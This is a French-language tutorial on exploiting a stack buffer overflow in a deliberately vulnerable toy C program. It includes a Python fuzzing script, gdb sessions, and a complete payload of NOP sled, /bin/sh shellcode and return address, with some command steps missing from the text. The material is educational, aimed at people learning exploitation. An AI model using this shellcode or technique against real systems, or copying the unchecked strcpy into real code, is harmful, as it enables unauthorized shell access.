# Author : fr0g
# Website : http://hwc-crew.com
# Date : 02/02/2012
# Thank's : Storn( pwn-network.com ), int_0x80( big-daddy.fr )
Hello all, avant que les esprits ne s'échauffent, je tiens à préciser qu'il est préférable, pour
ne pas dire necéssaire voir "indispensable", d'avoir des connaissances sur le fonctionnement
d'un processeur, l'Assembleur, et une connaissance théorique des failles de type "Stack Overflow"
afin de pouvoir suivre ce tutoriel en le comprenant correctement, je vais procéder à l'exploitation d'un programme "bidon" en vous expliquant les
étapes au fur et à mesure, toutefois, je vais essayer de me montrer le plus explicite possible .
(NOTE : les mots suivis d'un "*" (exemple : BOF*) sont expliqués en bas de l'article )
Analysons le programme qui va être exploité :
1 2#include <string.h> 3void overflow(const char* buf) { 4 char buffer[256]; 5 strcpy(buffer, buf); 6 printf("Fermeture du programme ...\n"); 7} 8 9int main(int argc, char *argv[]) { // premiere fonction appelée par le programme (avec un argument en paramètre) 10 if(argc > 1){ // si un argument est donné 11 12 overflow(argv[1]); // on appelle la fonction overflow avec notre argument en paramètre 13 } 14 else{ Sinon 15 printf("Utilisation : ./vuln [arg]\n"); 16 } 17 18 return 0; 19}
Afin de rendre notre executable vulnérable, on va le copiller de la manière suivante :
Passons un coup notre programme à execstack pour savoir si l'éxécution de la stack est possible :
Pour installer execstack (sous Debian) : sudo apt-get install execstack
Afin de savoir si le programme est vulnérable on fais :
Ceci nous signifie que la pile n'est pas executable, pour y remèdier, execstack
nous propose une fonction magique qui est :
On regarde à nouveau ? allez, soyons fous :
Yeaaah, il ne nous reste plus qu'a désactiver l'ASLR*, grâce à :
Trève de futilités mondaines, passons à l'exploitation :)
Afin de déterminer à combien d'octets notre buffer va déborder, je vous invite à utiliser ce script:
1 2# -------------------------------------------------------------------------------------------------------------------------------------- 3 4#coding=utf-8 5# 6# Desc : Petit script (faisant partie d'un de mes projets actuels) 7# effectuant un test un peu (beaucoup) bourrin afin de verifier 8# la présence ou non d'une faille de Stack Overflow 9# dans l'argument principal dans un executable quelconque. 10 11import os 12import commands 13import sys 14 15 16# --------------------------------------------------Class (color) 17class bcolors: 18HEADER = '\033[36m' 19OKBLUE = '\033[94m' 20OKGREEN = '\033[92m' 21WARNING = '\033[31m' 22ENDC = '\033[0m' 23 24 25 26 27# -------------------------------------------------FONCTIONS 28 29def header(): 30 os.system('clear') 31 32 print bcolors.HEADER + """ 33- E.X.P.S.T.A.C.K - 34 35[*] Author : fr0g 36[*] WebSite : http://hwc-crew.com 37[*] Th'x : Storn 38 39 """+ bcolors.ENDC 40 41def exp(cible): 42 43 44 45 compteur = 1 46 cmd = str("./"+str(cible)+" `python -c \"print "+str(compteur)+"*'\x90'\"`") 47 rep = commands.getoutput(cmd) 48 49 while (rep != "Segmentation fault"): 50 header() 51 compteur += 1 52 print bcolors.OKBLUE + "[*] App : " + str(cible) +bcolors.ENDC 53 print bcolors.OKGREEN + "\n[*] Inject : " + str(compteur) + " Bytes" + bcolors.ENDC 54 cmd = str("./"+str(cible)+" `python -c \"print "+str(compteur)+"*'\x90'\"`") 55 rep = commands.getoutput(cmd) 56 57 58 print bcolors.WARNING + "\n[!] Stack Overflow at : " + str(compteur) + " Bytes in the buffer \n\n"+bcolors.ENDC 59 60 61 62 63 64#--------------------------------------------------------Start here 65 66 67if (len(sys.argv) < 2): 68 print bcolors.WARNING + "\n[*] Where is your f*ckin binary ? \n[*] Use : ./findstackof [app] \n" + bcolors.ENDC 69else: 70 header() 71 72 if (os.path.isfile(sys.argv[1])): 73 try: 74 exp(sys.argv[1]) 75 except: 76 print bcolors.WARNING + "\n Error" + bcolors.ENDC 77 else: 78 print bcolors.WARNING + "\n Error : Unknown file ..." + bcolors.ENDC 79 80#----------------------------------------------------------------------------------------------------------------------------------------
On le lance avec le nom de notre application en paramètres :
On sait donc qu'a partir de 264 Octets, notre programme va planter : un petit test à l'ancienne :
Comme on le voit ici, le programme se ferme correctement à 263 octets, mais si on lui en donne
264, il plante. Maintenant, désassemblons notre executable avec cet outil magique qu'est le Gnu DeBugger,
puis on va placer quelques octets (précisément des NOP (\x90)) dans l'argument sur lequel va travailler le programme, (dans le cas présent, j'en ai mis 270)
Si on regarde de plus près, l'adresse renvoyée par gdb : 0x08009090, on voit que les 2 derniers
octets de l'adresse sont 9090 (90 est la valeur hexadécimale correspondant à l'instruction NOP en Assembleur)
Afin d'être certain que ce n'est pas une conïncidence, essayons avec deux NOP en plus:
BINGO !!!, Maintenant, un peu de calcul (rien de difficile ^^)
Je m'explique, l'adresse renvoyée par gdb correspond à ce que contient le registre EIP
(qui est censé contenir en permanencel'adresse de la prochaine instruction à éxécuter),
autrement dit, il va falloir retirer au nombre de NOP entrés en paramètre, le nombre d'octets que l'on voudra placer dans EIP,
afin qu'il pointe sur notre shellcode.
Donc : 272-4 = 268 NOPS
Essayons comme ceci :
1 2(gdb) r `python -c "print 268*'\x90' + 'ABCD'"` 3The program being debugged has been started already. 4Start it from the beginning? (y or n) y 5 6Starting program: /home/fr0g/Bureau/vuln `python -c "print 268*'\x90' + 'ABCD'"` 7Fermeture du programme ... 8 9Program received signal SIGSEGV, Segmentation fault. 100x44434241 in ?? ()
EIP contient maintenant 0x44434241, ceci correspond à BCDA en hexadécimal,
http://fr.wikipedia.org/wiki/Endianness
c'est pareil pour les octets de l'adresse que l'on va placer dans la pile,
pour connaitre cette adresse, on observe les registres du processeur après avoir fais planter le programme
avec la dernière commande :
1 2(gdb) info reg 3eax 0x1b 27 4ecx 0xffffffff -1 5edx 0x2bb398 2864024 6ebx 0x2b9ff4 2858996 7esp 0xbffff610 0xbffff610 8ebp 0x90909090 0x90909090 9esi 0x0 0 10edi 0x0 0 11eip 0x44434241 0x44434241 12eflags 0x10282 [ SF IF RF ] 13cs 0x73 115 14ss 0x7b 123 15ds 0x7b 123 16es 0x7b 123 17fs 0x0 0 18gs 0x33 51 19(gdb)
EIP contient bien les octets que l'on à placé après les nops, allons jetter un oeil
au registre esp :
1 2(gdb) x/64x $esp 30xbffff7d0: 0x724e4038 0xe64d71aa 0x69086bdd 0x00363836 40xbffff7e0: 0x6d6f682f 0x72662f65 0x422f6730 0x61657275 50xbffff7f0: 0x75762f75 0x90006e6c 0x90909090 0x90909090 60xbffff800: 0x90909090 0x90909090 0x90909090 0x90909090 70xbffff810: 0x90909090 0x90909090 0x90909090 0x90909090 80xbffff820: 0x90909090 0x90909090 0x90909090 0x90909090 90xbffff830: 0x90909090 0x90909090 0x90909090 0x90909090 100xbffff840: 0x90909090 0x90909090 0x90909090 0x90909090 110xbffff850: 0x90909090 0x90909090 0x90909090 0x90909090 120xbffff860: 0x90909090 0x90909090 0x90909090 0x90909090 130xbffff870: 0x90909090 0x90909090 0x90909090 0x90909090 140xbffff880: 0x90909090 0x90909090 0x90909090 0x90909090 150xbffff890: 0x90909090 0x90909090 0x90909090 0x90909090 160xbffff8a0: 0x90909090 0x90909090 0x90909090 0x90909090
Il ne nous reste plus qu'à noter une adresse qui tombe dans les NOP : 0xbffff800
Allez, on repars dans un petit calcul, le Shellcode que l'on va utiliser est un simple /bin/sh
de 24 octets :
Comme précédemment, il faut retirer au nombre de NOP le nombre d'octets composants shellcode, soit :
268 - 24 = 244
Notre exploit va se constituer de la manière suivante :
les 244 NOP + le shellcode + l'adresse de retour, il ne reste plus qu'a essayer, on lance l'exploit :
Je rapelle que notre adresse doit être ecrite afin de correspondre au principe de LIFO, donc 0xbffff800 = bffff800 = \x00\xf8\xff\xbf
ce qui donne :
1 2(gdb) r `python -c "print 244*'\x90' + '\x99\x31\xc0\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80' + '\x00\xf8\xff\xbf'"` 3The program being debugged has been started already. 4Start it from the beginning? (y or n) y 5 6Starting program: /home/fr0g/Bureau/vuln `python -c "print 244*'\x90' + '\x99\x31\xc0\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80' + '\x00\xf8\xff\xbf'"` 7Fermeture du programme ... 8 9Program received signal SIGSEGV, Segmentation fault. 100x00bffff8 in ?? () 11(gdb)
Hmm, la fatigue me prends, une erreur de calcul manifestement,
on voit clairement que l'adresse que l'on a placée dans l'argument avec les NOP et le shellcode n'est pas correctement
placée dans EIP, mais cela n'est pas très grave, ajoutons un NOP histoire de la décaler, ce qui donne cet exploit :
Cette fois, ça devrait fonctionner, on quitte gdb, et on lance l'application avec notre exploit en paramètre :
Notre shellcode s'est éxécuté, et à correctement appelé le /bin/sh :)
Voilà, j'espère que j'ai été assez clair, bien que j'ai précisé que ce tutoriel s'adresse principalement aux initiés en langage Assembleur .
Cordialement, fr0g.
##############################################################################################
Lexique :
BOF : Abréviation de Buffer Overflow
ASLR : "Address space layout randomization" : permet de rendre aléatoir les adresses de pile
LIFO : Last In First Out => http://fr.wikipedia.org/wiki/Last_in,_first_out
##############################################################################################
fr0g